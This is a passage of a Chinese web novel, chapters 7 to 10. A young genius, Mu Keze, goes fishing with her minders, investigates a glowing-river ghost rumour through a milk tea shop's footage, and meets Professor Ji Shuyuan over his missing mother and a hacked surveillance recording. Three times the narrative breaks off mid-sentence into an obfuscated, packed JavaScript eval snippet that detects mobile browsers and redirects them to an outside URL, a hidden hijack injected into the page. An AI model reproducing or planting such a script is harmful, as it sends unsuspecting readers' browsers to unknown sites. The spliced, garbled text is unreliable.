“同样的工具果然在不同人手里发挥的效果不同。”木柯泽品尝了自己的那份,向韩寒梅望一眼。 她像是理解了木柯泽的夸赞一样,不太自在地脱下围裙。木柯泽弯了弯眼睛。 但韩寒梅的这种不自在并没有维持多久。 “这坨是什么东西?” 被韩寒梅用上“坨”这种量词的,是那盘木柯泽的艺术品。 “蜂蜜平菇炖鱼。昨天剩下的。” “……” “怎么了?梅梅你最好不要吃哦,会食物中毒的。” “没有。我只是在想,这种东西怎么还没有丢出去。” “姐还准备用它喂小金鱼呢。”阮小天补充。 “我觉得你的语气像是在告状。”木柯泽幽幽道。 确实有点告状的意思。韩寒梅对他们这种诡异的相处方式一开始感到十分困惑,后来自己也变得莫名其妙起来。 主要是柯泽女士……一定是她头一回到地面,所以搞出什么都是正常的。 但是—— “人类都会食物中毒的东西能够当作鱼饲料吗?柯泽女士。”韩寒梅深吸了一口气,“以及把鱼肉当作饲料再喂给鱼吃是不是有点太地狱了。” - 按照韩寒梅的要求,必须要由她巡视一圈房间才能出门去钓鱼。检查的重点,木柯泽和阮小天都很意外,居然是冰箱。 “扔掉。” 一捆发黄的青菜。 “扔掉。” 过期三个月的橘子汽水。 “巧克力不是放在冷冻层的。” 唯一摆放正确且没有过期的物品是牛奶。 韩寒梅表情严肃地在记录本上写写画画,密密麻麻写了一整页。 阮小天左手拎着被韩寒梅划分为“垃圾”的一大袋,右手拎着木柯泽的钓鱼装备,站在门口,又被隔壁养了三个孩子的邻居拦下。 “啊,你们家多了一个人呢。”邻居看到在冰箱前皱眉的韩寒梅,欣慰地笑了。 活都被自动干完了,木柯泽无所事事。 于是她介绍了一下:“那是梅梅。” “妹妹好啊。”邻居更加欣慰了。 阮小天莫名有些不得劲。 养了三个孩子的邻居深谙端水的道理,她又说:“弟弟也好,力气大,能干活。” 阮小天挺直了脊背。 与热情的邻居打过招呼,他们三人走下单元楼,在楼梯口看见了一直闻其声的杨疯子。 “杨疯子除了早上会大声吵嚷,叫醒整个小区的人之外,其实人挺正常的。”木柯泽说,“就是我们睡不了懒觉。” 阮小天心有余悸:“听起来已经足够可怕了。” 如果连难得的节假日都不能好好休息的话。 杨疯子是个五六十多岁的妇人。意外的看起来瑟缩而软弱,全然没有早上叫唤的那股精神劲,像是整日只活那么一次,剩下的时间都在拖着一个躯壳。 “她在这里很久了吗?”韩寒梅问。 “十七年前女儿失踪了就一直是这样。”木柯泽说,“丈夫受不了跑了,父母在乡下,不常来城中心,也没听说过有别的亲戚。” 韩寒梅多看了她一眼:“柯泽女士似乎对她的情况很了解呢。” “我们是钓友。”木柯泽说。 “啊?” “咦?我没跟你们提过吗。”木柯泽看向两个人因为疑惑而睁大的眼睛。 “不得不承认,其实她钓鱼钓得比我好。”木柯泽坦率道。 “……?” 两个人看上去反而更加困惑了。 “今天不带你啦。”木柯泽对杨疯子说,“我有别的小朋友要陪。” 杨疯子木呆呆地点头。 因为不知道她真实的名字,所以木柯泽跟着别人一起叫“杨疯子”。区别在于他人的语气或许会夹杂嫌弃,鄙夷之类的情绪,带有一种不怀好意。 而木柯泽是认真地把疯子当作对方的名字。 这样温馨而自然的场景反而让人怀疑起谁才算是真正的疯子。 不过天才跟疯子,也没有谁同时有资格制定评判她们的标准。 杨疯子果然没有跟上来。 应木柯泽的要求,他们三人转了三趟公交,又走了一截路,才到了州河的走道。 不是周末,也不是节假日,反而围聚的人不少,对着河面议论纷纷。 “能看见吗?” “好多水白菜挡到。” “白天光线太好了,肯定不如晚上看得清楚吧。” “虽然你说得对。但这句话怎么听起来这么小众。” 前面的河道被封锁了。州河边上有不少水生植物。 与太虚湖不同,大薸唯独热爱州河这种流动的活水,在这一带长得尤其茂盛。 季疏原昨天来医院的时候,鞋边便沾染上了这种植物的小叶簇。这也是木柯泽看出他去过河边的原因之一。 “真的钓得到鱼吗?”阮小天怀疑地看了看被这种漂浮的水生植物覆盖的水域。 “试试就知道了。” 鱼饵是韩寒梅特意去钓鱼店买的,拒绝了木柯泽使用蜂蜜平菇炖鱼的提议。 虽然逻辑上能够理解,多少感觉到有点委屈。 木柯泽默默地扔竿,然后孤单地坐在河边吹风。 “……所以姐你究竟在感伤什么啊!” 阮小天吐槽着,也搬出折叠小椅子,跟在她身边坐下。而韩寒梅抱臂站在另一边,距离他们有段社交距离,看上去是想要表明“我跟他们不是一伙的”那种划清界限的态度。 冷风飕飕地吹。今天木柯泽被韩寒梅要求穿上了毛衣,于是意外地发现一个不等式。毛衣所提供的保暖温度略大于五件衬衫。 神庭会没有毛衣这种东西,气候一直是适宜人体的恒温。 也没有河。 更别说是钓河里的鱼。 从生到死都在天上的人们摸不到鱼竿,此刻鱼竿也在几个退休老大爷手中。 这么想来,她还真像是落地度假的。 “大爷,”木柯泽在阮小天惊恐的注视下,娴熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322530|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且自然地操着方言与他们搭话,“那群人围起来是在看什么啊?” 钓鱼的老头们有的在抽烟,劣质烟有点呛人。 “昨天夜里,河底有东西在发光。” “发光?” “说起来也很玄乎。听说是学校里头谈恋爱的小娃娃,被老师拆散了后伤心要跳河。然后这几天有人夜跑,看到河底就冒出那种粉色的水泡泡。” “你扯得好玄乎哦。” “是那么回事噻。” “还有人说看到了水鬼,就是个小姑娘样子的,一遍遍问为啥子不试试耍朋友,为啥子不试试耍朋友。” “你屋头那婆娘听到不锤死你。” “你莫说了。我今天还得买点米回去,免得又要吼我。” “不过前几年经常有人钓到好东西,拿去治安局换了不少钱。” “什么好东西?” “我要是知道还在这里?” 他们越扯越远,从河底水鬼聊到近年上涨的米价,谈论得不亦乐乎。木柯泽若有所思地看了一会水面,又回头看了眼被围起来的那截河道。 最后,视线落在河道上游拐角,一家招牌花里胡哨的奶茶店上。 然后她固定鱼竿,收了椅子。 “怎么了姐?”阮小天也跟着站起来。 “渴了。”木柯泽说,“买杯水。你们喝奶茶吗?” 平时住在木柯泽家的费用其实都应该是治安局报销,是木柯泽自作主张,提前给他们买好了不少家具。 “我们自己付钱。”韩寒梅板着脸说,“这是规定。之后去超市,柯泽女士也不必支付。” “草莓还是芒果?” “……草莓。但是我自己来就好。” “啊,确实应该你来。多冰少冰和糖类……选项怎么这么多。” “是按照个人偏好定制的选项。柯泽女士没有注意过么?” “其实这是我第一次点奶茶。” 木柯泽坐在桌子上,双手捏着自己的订单小票。 旁边有放学的女高中生,听到她这话惊讶地转头,就连做奶茶的店员都顿了顿,看了她一眼。 “一些改不掉的旧习惯吧。”木柯泽微微眯起眼睛,像是在回忆,“之前都是严格按照营养配方进行饮食,最近有在计划着放纵自己。” 放纵这个词出现在计划之后,已经显得不够放纵了。 现在这个时间点,下单的客人并不多。阮小天不喝奶茶,韩寒梅自己点了份少糖多冰的草莓奶茶,木柯泽凭感觉选择了半糖少冰的芒果布丁,意外的味道不错。 她咬着吸管,招手示意阮小天过来。走到两位店员跟前了,她问:“可以借用一下你们的监控录像么?最好能够看一下路牌的光路图。” 阮小天一脸懵,但还是迅速配合地取出了治安局的证件递给店员看。他压低了声音问木柯泽:“姐你是发现了什么吗?” “多了解一下而已啦。”木柯泽转着奶茶杯,“这家店的氛围充满了恋爱气息的粉色泡泡,路牌和灯光也都能够照到发光的河道,是很适合闹那种鬼的地方。托流言的福,生意因此也变得好起来了吧。” 韩寒梅看了他们一眼,掏出手机开始打电话。 没想到店员反而并没有露出被冒犯到的表情,她们互相对视一眼,然后面向木柯泽,笑起来:“您是第二个发现的客人呢。” 木柯泽托着下巴,瞥了韩寒梅一眼,声音变得大了一些,让手机里的人也能够听见。 她眯起眼睛在笑:“第一个是老季?” 正向季疏原汇报的韩寒梅一愣。 “……” 手机对面,季疏原同样听到这个称呼。 他诡异地沉默了几秒。 8. 第 8 章 不久之前的清晨。 在来州河的公交车上,木柯泽搜索了阿德莱德的联系方式,并且给他的邮箱发送信息。 只需要找到一篇论文,就会标明通讯地址。像阿德莱德这样的人,论文很多,更是早早就把自己邮箱挂起来,等待世界各地罕见病的描述。 一般来说,这类邮件都是由助理查看的,但是阿德莱德有到处搜集罕见病的需求,因此所有内容还是会由他亲自过目一遍。 木柯泽的邮件写得随心所欲,主题命名也非常诈骗。是看一眼就会被系统识别成垃圾邮件的程度。 主题:我是神庭会的最强天才 抄送人:瑟缪尔·诺顿,阿德莱德,傅临,长孙子翁,张小红,松尾澪 内容:我是神庭会的最强天才木柯泽,擅长超距波打击,量子轨道解算和钓鱼,v我五十聆听我的灭绝陆外十三城鱼种计划,有意者请加联系方式xxxxx。 不出意料没有收到回复。但是,在公交开过三个站后,木柯泽的手机忽然震动了一下。 系统:【Ada】申请添加您为好友。 对面的头像是黄沙漫天的戈壁滩,戴着护具墨镜的金发青年意气风发地扯着一张冰蓝色的旗子。 “姐?遇上什么事了?”阮小天注意到木柯泽的表情。 “没什么。”木柯泽感慨说,“只是没想到怎么真的有脑袋空空的小金鱼会咬我的钩啊。” 阮小天和韩寒梅看了一眼。 木柯泽口中的“小金鱼”,是迄今为止在生物医学领域著作等身的阿德莱德先生。 两人:“……” 好友通过后,对方的转账比消息来得更快。 Ada:【转账】50000 Ada:够么?我可以听你钓一千遍。 Ada:前几次见面过于匆忙,竟让柯泽小姐加我好友,真是失礼。 Ada:【转账】100000 Ada:一点歉意,不成心意,还请柯泽小姐收下。 木柯泽:“……” “如果从此我对一切拥有金色头发的年轻男性都贴上有钱这个刻板印象,”木柯泽表情严肃地说,“请找阿德莱德负责。都是这个外国小伙害的。” Ada:柯泽小姐,治安局很苛待你么?如果你手头紧的话,我的医院还是挺缺少一个专家顾问的。 ……搞不明白她研究的领域有什么值得进医院的必要。按照大众对神庭会的态度,邀请她的后果,争议应当比利益大得多。 以及这位外国小伙是不是最近中文又变好一些了? 木柯泽:如果你认为黑红也可以带来热度。我没意见。 打完这句话,公交车的机械女声开始播报:“州河路已到,请各位乘客有序下车。” 她便没再回消息。 这一切都在阮小天和韩寒梅的注视下发生。 对此,与木柯泽已经共处一整天的阮小天,终于能抓到人跟他一起感叹:“柯泽女士,真的与我想象的好不一样哦。” 韩寒梅:“从昨晚到现在接近十五个小时,我已经听你这样说了起码十遍。你要不要把这句话印在自己的衣服领子上。” “——意外的相当不正经。你不这么觉得吗?” 虽然她也有所触动了,但周围有个人从早到晚都要这么感慨,再意外也会逐渐变得麻木。 韩寒梅:“请对柯泽女士的用词尊重一点。” 阮小天意识到自己失言,立刻对木柯泽诚恳鞠躬:“对不起!” 恰逢7路公交车一个急刹,阮小天差点一个踉跄给木柯泽磕头。 “我本人倒是完全无所谓了。” 当时木柯泽笑眯眯地扶正阮小天的脑袋,这样道:“爱卿平身,不必行此大礼,还没过年呢。想说什么就随便说啦。面刺寡人,上赏。” 阮小天:“……” 某种意义上,会出现各种奇奇怪怪的状况,也是木柯泽一手纵容出来的。 既然如此本性,有珠玉在前,那么,木柯泽将季疏原称呼为“老季”,也不见得有多么奇怪了。 “请不要在意,季教授。” 奶茶店里,韩寒梅深深吸了一口气,有种看不住熊孩子的抱歉,她解释说:“柯泽女士也这样调侃过阿德莱德先生。” “哦。” “季教授也来过这家……甜心粉呼呼奶茶店吗?”韩寒梅一字一顿地照着招牌念名字。 “嗯。只是为了调查一个私人委托。” 季疏原那边的声音有些嘈杂,混杂着机械仪器的滴滴运转声。 - 季疏原放下手机。 “刚刚通话的那位,是季先生的朋友么?” 季疏原皱眉,否认:“不是。” “啊,抱歉,擅自猜测你的人际关系了。很感谢季先生百忙之中前来看望,老先生如果有意识,想必一定也会感受到你的心意吧。” 人民医院的顶楼采光很好。 这是一间特殊的私人病房。前面还装修有会客厅。木质沙发的另一端,坐着位妆容精致的女性,双手交叠在身前,微微向季疏原颔首。 “我不是来看望他的。”季疏原重复一遍,“澪小姐,我只是接收了你们的委托。我们没有任何名义上的血缘关系。” 澪小姐的面容露出一种忧愁的笑,她轻声叹气:“既然季先生坚持如此,那我失言了。” “我此次前来,是确认这份委托是否有进行下去的必要。”季疏原没有在意她的话,继续说,“我了解到,以你们的势力,寻找到下一个肾源并不困难,为什么非要在这位失踪的捐赠者上浪费时间。这案子在治安局那边已经结了。” “治安局的能力即使是在城外也是有目共睹的匮乏。”澪小姐语气轻飘飘的,将插手别国内务这件事如同喝白开水一样平淡地叙述,“如果不是跨国消息滞后,我们当初不会让治安局负责这起失踪案。” 澪小姐停顿了一下。 “她原来一直住在这样的地方……季先生,你不想找到她,问清楚,当年为什么要逃离原本的家族,又残忍地丢下你吗?” “我对过去不感兴趣。” “但是,每个人都是从过往走到现在的时刻,”澪小姐慢条斯理地说,“即使刻意遗忘,捂住耳朵向前奔跑,过去就在你的脚下,如影随形。” “这个世上,根本不可能存在一个完全没有过去的人。” 但这一刻,季疏原的脑海里浮现出一具至今无人认领的尸体。 ……以及某个成天叫嚷着钓鱼的家伙。 “如果你们依然坚持调查她的下落,那我需要提醒一句,很有可能到最后什么都找不到。除非把州河抽干,开始打捞。”季疏原说,“治安局的档案封存了。在社会层面上,季桃已经死亡。” “我走访了她失踪前的路线,店铺以及所搭乘过的交通工具,没有发现任何异常。或许就是在一个普通的夜晚,她找到了一条河,然后跳了下去。” 澪小姐露出不赞同的神情。像是对他这样平淡地描述母亲而感到失望。 “我们仍然会坚持委托。”澪小姐说,“松尾公社不缺资金。” 季疏原对这个结果毫不意外。 这场对话看上去已经接近尾声,澪小姐交接最近发现的线索和照片。 “这是从地下室,半岛火山的别墅那边收拾出来的,希望能对你接下来的调查有所帮助。” “此外,不知道季先生是否听说过‘李默’这个名字?” 季疏原接过文件的手倏然一滞。 “啊,抱歉。可能是我们病急乱投医了。”澪小姐没有留意到季疏原的异常 她歉意一笑,取出夹在最底层的老旧照片。 是相当有年头的一张照片,卷边泛黄。 画面中央有一个面容模糊的年轻女性带着孩子,背影人群聚集。 季疏原对童年已经没有太大印象了。 只记得是季桃牵着他在国内的游乐场,他血缘上的父亲拍下了这张颇富温情的照片。 澪小姐将它翻了过来。 “毕竟是从老先生那里意外找到的照片。想着或许有些关系。” 在作为背景的模糊人群中,一个小孩模样的圆脑袋被血红色的圆圈圈了出来。旁边用中文清楚地标注着:李默。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322531|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 以及一行又一行,歪歪扭扭的,蹩脚的中文字迹。 对不起,李默。 对不起,李默。 对不起,李默。 锈迹斑斑的血红字迹,密密麻麻,触目惊心,十分用力地挤满了这张六寸照片。 “季先生有头绪吗?”澪小姐问,“关于李默是谁?” - “第一位发现的客人,是姓季的先生。”甜心粉呼呼奶茶店的店员这样笑着对木柯泽点头,“那位先生确实令人印象深刻。” “长相不像本国人呢。”另一位店员说。 “你又知道了。” “因为瞳孔啊。是那种很浅的琥珀色。姐姐你一点也不关注帅哥哦。” 两个看起来应该是姐妹的店员互相斗嘴了一番,然后才想起监控的事情。其中年长点的店员姐姐才不好意思地取出一个U盘。 “这是你要的那些资料。就送给你了。” “诶?”木柯泽困惑地望着她们。 “要感谢的话就多来我们这里喝奶茶吧。”另外一个店员妹妹嘻嘻笑着摇了摇奶茶,“就算是健康饮食也要适当给生活增添点甜味吧,偶尔的奶茶放纵和看看养眼的帅哥会给人带来超幸福的感觉。这是我们开店的初衷哦。” “你自作主张给我的店加了什么乱七八糟的初衷进去。” 这对姐妹又开始吵吵闹闹起来。店里的音乐切换到舒缓的流行歌曲,歌词全都充斥着彩色飘带,糖果色恋爱之类的粉色意象。 真是十分有活力的年轻人。木柯泽觉得自己都年轻了好几岁。 “柯泽女士,可以冒昧问一下你的年纪吗?”韩寒梅看向木柯泽。 木柯泽穿着昨晚韩寒梅紧急下单的白色毛衣,买大了一码,显得不太合身,衬托的整个人更加偏瘦。眯起眼睛在喝奶茶的时候,神态很像太阳底下晒尾巴的猫咪。 反差相当大。 毕竟此前一直是出现在教科书上的名字,照片也是黑白的印刷照。如果要了解木柯泽,首先得阅读在这个名字之前,长长的一大段荣誉,和在各个领域做出的结果。至于木柯泽的生平,也算作一种机密资料。 以至于不少人都以为,木柯泽已经成为了历史人物。 “换言之,是都认为我早就死了吧。”木柯泽眼角抽了抽,“真是难为你说得这么委婉。我还活着真是对不起常识了。” 如果一个错别字流传太广,为了普罗大众,可能字典会因此进行某些修订。 但毕竟木柯泽姑且还算活着,也不可能把人唐突写死。 “我不是那个意思,柯泽女士。”韩寒梅正直地说,“只是好奇而已。” 阮小天也偷偷竖起耳朵。 木柯泽捧着没喝完的奶茶,眨眨眼:“问一个女士的年龄可不礼貌。” “是。非常抱歉。如果不方便的话也不是必须回答。” 木柯泽比了个“耶”的手势。 韩寒梅一脸茫然。 “目前21岁。”木柯泽语气轻快地解释说,“今年过完生日22。” 虽然木柯泽平日里的举动确实不太像一位德高望重的长辈,长相也相当年轻,但韩寒梅仍然有被她的实际年龄震撼到。 “所以……教材里的那几个公式,是您十几岁就提出来的?” 韩寒梅的神情有些恍惚,大概是第一次真切地意识到人与人之间的差距,比人与狗的还大。 “哪个?记不清了。不过我确实很早就开始搞研究了。”木柯泽喝完奶茶,站起来,伸了个懒腰,拉长声音说,“休息完毕。该去看看鱼怎么样了。” 韩寒梅这才回过神一样,跟在她身后。 她终究还是忍不住,多嘴一句:“柯泽女士,你比我家里正头疼找工作的,最小的表弟还要小。” “心理年龄与实际年龄无关。”木柯泽意识到了什么,微妙地转过头去,语气有点危险,“在我眼里你就是个妹妹。” 她同样如此看了一眼阮小天,警告道:“你也就是个弟弟。” 阮小天:“……好的。” 苍天可见。 这话题也不是他先挑起来的啊? 9. 第 9 章 钓鱼一无所获。 商场满载而归。 购置的生活用品超出了预算,木柯泽好说歹说,劝下了韩寒梅尝试搬空超市的想法。 “柯泽女士你的家里实在不像人住的地方。”韩寒梅的用词也越发冒昧了,“如果就这样挂出去当酒店也肯定要被人投诉差评的。” “我的家为什么要挂出去当酒店。” 木柯泽嘀嘀咕咕,一脚越过正在拆纸箱的阮小天。 阮小天吭哧吭哧忙活。 忽然间灵光一闪,他大声道:“我知道!应该是那种‘木柯泽故居’的牌子吧!” 韩寒梅:“……” 这人怎么聪明一阵一阵的。 木柯泽不客气地敲了一下他额头。 “所以说我还没死呢!” “啊!对不起!” 木柯泽走到客厅,将U盘插进电脑里,开始翻阅奶茶店店员姐妹赠送她的,有关监控和门口广告牌的光路,以及网络日志。 正在记录的韩寒梅默默走了过来。 过了一会,阮小天想起自己应有的职责,也凑了过来。 木柯泽:“……我会把它投影到电视上。” 加载画面的时候,木柯泽回忆起奶茶店姐妹的交谈。 “老季不是本国人吗?” “……” 虽然,但是……反正两个人现在,勉强接受了这个称呼。 在场对季疏原最了解的就是韩寒梅了。她接收到木柯泽和阮小天投来的视线。 韩寒梅顿了顿,说:“虽然季教授一直在城内长大,但确实有一半血缘是小外岛人。” “季教授的父亲是松尾家的社长,母亲季桃是十三城人,他们在某届峰会上认识,随后季教授的母亲远嫁外岛。但在季教授七八岁的时候,听说季桃带着他回十三城了。” “听说?” “因为她从来没有出现在季教授的成长里出现过。好像是把他丢给一些不知情的亲戚之后,又独自离开了,季教授差不多是被城大校长收养长大的。季桃不知道去了哪里。直到上个月。” “上个月,松尾社长的病情严重,这时候匹配到了一个合适的捐赠肾源,就是季教授的母亲。于是他们终于找到了人,当时闹得还挺大的。结果没过几天,季教授的母亲突然又失踪了。好像听说跳州河了,好像又有人说在某个山里隐居。” “至于里面的内情就是季教授的家事了。”韩寒梅说,“这些都有新闻报道过的。你们不知道吗?” 阮小天:“我只隐约了解过。” 木柯泽:“我不关注豪门八卦。” “原来老季身世这么跌宕起伏。”木柯泽语气复杂地感慨了一句,“有点狗血啊。” “……” 柯泽女士实在是过于破坏气氛。 这时候电视加载完成,开始播放奶茶店门口的监控。 州河那边的人,关于河道诡异的光众说纷纭。 但广为流传的说法,就是有对校园情侣被迫拆散,女生不甘的灵魂化为了水鬼,路上见到人就问“为什么不试试恋爱啊”,“为什么不试试恋爱啊”。 “柯泽女士认为世上有鬼吗?”韩寒梅问。 木柯泽笑了一下,说:“在其它地方,物理威慑更大。只有在陆外十三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322532|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城这种安全的国度,才会有心情担心鬼这种精神攻击。” 阮小天不由得轻皱起眉。 木柯泽这话说得莫名令人感到古怪。仿佛她曾见过无数场战争。 电视在反映录像,电脑也在同步启动滚动播放。 木柯泽切屏,同时阅读网络日志和广告牌的光路。 当快进到深夜那段时间的监控时,阮小天没忍住头皮发麻地倒抽了凉气。 真的出现了。 从附近的影子里,一个纤瘦的女性,摇摆不定地徘徊在河道边。 路口的另一边是夜跑爱好者,惊慌失措地尖叫一声,然后拿出了此生未有的配速,连滚带爬地逃离了现场。 再然后,河道开始发出诡异的光。 女性久久地站在发光的河边,直到消失在影子中。 韩寒梅紧锁眉头。 “也不是广告牌在河面的反光。”木柯泽计算了一遍光路轨道,“确实是来自河底的什么东西在发光。” 阮小天情不自禁地打了个哆嗦:“不是……那些玩意儿,究竟是什么啊……” 画面没问题。 光路没问题。 木柯泽审视着奶茶店提供的资料。她比季疏原多要了一份当天的网络记录。 其它都没问题,但是主机检测的网络日志…… 木柯泽一推电脑,偏头道:“韩梅梅,帮我给老季带句话。” 韩寒梅:“……” 阮小天感慨万千:“姐你叫错名字的这一天终于来了。” “这个名字长成这样子就是为了让人叫错的。” 木柯泽理直气壮。 10. 第 10 章 明面上来说,无论是季疏原,更别说是木柯泽,都是会受到大量关注的人物。季疏原约见的地方谨慎一点,也不是什么稀罕的事情。 但事实上,木柯泽认为没有这个必要。毕竟在了解到的很多人认知里,木柯泽完全是出现在历史上的人物,而她研究的知识同样很少出现在普罗大众的读物上。 质疑代表着关注。 人们通常很乐意质疑牛顿,因为力学无处不在。它是一个基点,直观,且普遍。 而很少人质疑普朗克。 更少人质疑戴维·索利斯。 所以,木柯泽有理由认为,其实季疏原并不需要过于保护她的隐私。 具体表现在…… 木柯泽抬头看到这家饭店的名字。 桂之原私坊。 年轻的大堂经理亲自出来迎接木柯泽。他一路关切地护送木柯泽,穿过人工造景的庭院,绝口不问她的身份,反而更多的时候在聊季疏原。 “季先生很少带人来这里呢。” “后面的庭院经由吩咐,是先生精心布置过的。一步一景,木小姐可以随时观赏。” “季先生已经等候多时了。” 听得木柯泽总隐隐有种错觉。有点像“少爷好久都没有这么笑过了”的语气。 身着和服的两位侍应生为她掀开幕帘。木柯泽扫视一圈。 角落点了熏香,有烟雾。靠窗的小几,三四道色彩丰富的菜刚端上来。窗外是一处假山围就的池塘,视野开阔,方便逃生。 没有监控设备。 “真是隆重。”木柯泽走上前,坐在他对面,“老季。” 季疏原放下刚抿的清茶。早先听到响动,他便略微侧脸。被奶茶店姐妹特意强调过的浅色瞳孔这样望过来,睫毛一根一根,更加鲜明。 “柯泽女士。”季疏原平淡地说,“请坐。” 并不在意她的称呼。 木柯泽便落座。 “梅梅带的话里,应该有提到过我们需要的是一个没有监控,并且能联网使用计算机的地方吧?” “是的。” “那这什么……原来鹅肝和牛是你的电脑屏幕吗?” “待会有人会带来的。” “不愧是松尾家的大公子。” 季疏原做出一个“请吃”的手势,希望这些吃的能够堵住她喵喵乱叫的嘴巴。 意图好明显。木柯泽瘪嘴。 “你已经知道了。” 陈述的平静声音。季疏原并没有太多意外。 “他们都说是流传很广的八卦。我最近才知道,真是太落后潮流了。”木柯泽说。 季疏原没说话。 木柯泽:“那我们是现在聊聊?” “先吃饭吧。”季疏原说,“桂之原的饭菜很正宗,算是美味佳肴。” 他似乎是不太乐意在饭桌上谈论正事的那种人。约在这个点也只是因为恰好到了用餐时间。 ……当然,也有另外一种可能。 木柯泽:“……相比起什么而言来说是美味?” 季疏原:“你的干面包片早饭,蜂蜜鱼午饭,以及碱水面晚餐。” 木柯泽:“。” 韩寒梅怎么把这些也都给他说了。 之前在神庭会的食物,营养大于口感。人为调配的食谱,每天定期投放,送给木柯泽的更是,据说有专门的营养师,吃了能比正常人的寿命更加延长。 只不过,原料都并不是长在地面的植物和动物。 地面的食物营养配比必然没有神庭会丰富,但口感一流。木柯泽的舌头寡淡多年,评价为不错。 午餐结束。 季少爷面子果真够大,又陆续进来人收拾出摆放显示屏和主机的座椅。 木柯泽很有兴趣地看着季疏原的锐利面孔。 “我看了奶茶店的监控。” 季疏原没有什么反应。他沉默着又抿了一口茶。 “我还看了眼网络日志。” 木柯泽的话轻飘飘的,像一阵风,而季疏原正像被那阵风吹扶的挺拔的树。他直起身来,这人很高,差不多要比木柯泽高一个头,明明是俯视的角度,莫名怪促狭的。 季疏原抿了抿唇。看向木柯泽。 这家伙稍微有些像猫科动物。哪怕是端坐着准备绝育,或者被人投喂,尤其是眯眼笑的时候,都有股锋利的感觉。 “柯泽女士,今日是来询问我为什么要调换监控录像的吗?” 木柯泽摇了摇头,咀嚼:“我是来问,你需要帮忙么?” 季疏原没看她,低垂着眼:“帮什么忙?” “大学教授不会经常穿像你今天这样正式的装束。除非是你接到了什么委托。”木柯泽往后坐了坐,审视着他,“而你昨天也是如此。” 人民医院里,季疏原帮忙办理手续的时候,也是类似的着装风格。正式的打扮是对接待对象的看重,或是需要出席一些场合。 季疏原的睫毛一根一根,颤动的时候像在击打钢琴的黑白键。 “你要见的客户起码有一定的社会地位。昨天你来医院的时候裤脚沾有大薸,一种生长在水中的藻荇植物,说明你帮我办理手续前,已经结束了正式的会谈。当时你提到你恰巧在人民医院附近,只能是在见过你的客户之后去了州河。散心当然可以,但是你为什么要去河边?如果是我的话,钓鱼才会走到这样靠近的水面。” “你在结束委托后便迅速去了州河,必然是州河与你接的委托有关系。而今天早上,突然传出了河道发光的舆论。我听说前不久,有一位季姓女性,似乎在河道边失踪了。” 她的声音并不大,条理清楚,字字清晰。听上去温声细语的,其实语速很快。 人民医院擅长的手术领域之一,便是器官移植手术。 自然包括换肾。 “你的委托人。松尾凛。对吗?” 季疏原:“是。” 松尾澪。 并不是松尾公社的下一任社长,没有实权,在松尾家中说不上话。但因为直系的血缘在,主要负责处理这一类的私人事情。 木柯泽不意外:“我让韩寒梅联系你的时候,今明两天都行。但你似乎却很着急的样子。你并不是急性子的人。” “我听说时间不等人啊,季先生。”木柯泽笑了下,“树欲静而风不止。” 子欲养而亲不待。 只是,不知道是哪个亲? 父亲还是母亲?木柯泽打量他。 真是大孝子。 “柯泽女士,真是热心肠。” 大孝子季疏原说:“那么你一定知道,如果匹配不到合适的肾源,松尾必然能死。” “最近流行的威胁手段是向对方坦白自己的秘密吗。” “我以为是告诉别人,根据每天的打扮就能推理分析出他一天的行程。” “好吧。其实之前也推断你好像很不想你父亲活。” “所以?柯泽女士今天前来是要助纣为虐?” “我对你们的豪门纠纷不感兴趣。说过了,主要是看到了这一份网络日志。要我加入你么?” “柯泽女士似乎不擅长医学,也不擅长网安。” 电脑屏幕上代码滚动,□□页已被攻破,正在进行反追踪。 “啊。是的。你说得没错。我一直对生物,医学之类的没有深入了解过。”木柯泽说,“不过倒是闲来无事,翻过几本算法的书。” 她双手交叉:“介意我冒昧揣测代码的目的性吗?” 季疏原:“请便。” 他让出了电脑的位子,木柯泽并没有坐过去,只是翻阅奶茶店的网络日志,便随口道:“入侵方的攻击目标是录像。” 季疏原点了一下头:“嗯。调换了录像。” “非法入侵引起的情况较轻的,未引发重大安全事故。柯泽女士乐意的话,可以叫治安局来抓我了。” 木柯泽似笑非笑:“恐怕不是调换了监控录像吧。季先生。” 在听到木柯泽换回了“季先生”这个称呼的时候,季疏原无意识捋平了嘴角。 “你是换【回】了录像。” 木柯泽没有察觉到季疏原很小的,转瞬即逝的某种不高兴。 她竖起两根手指:“其实,是两方攻击者。” “第一方利用缓冲区溢出窃取录像。而你,第二方,似乎提前就知道会有人调换这个录像,很早便布置了种子,检测到入侵便释放了它,并利用数据残留反向追踪。” “我有说错么?” 即使在这样的场景里,也一直有所耳闻木柯泽的脑子。但破解的时间还是……太快了。 季疏原深吸一口气:“没有。” “之前提过了。”木柯泽眯着眼笑,“我翻过几本算法的书。我想我应该能帮上你的忙?” 阳光透过木质窗棂,映照在 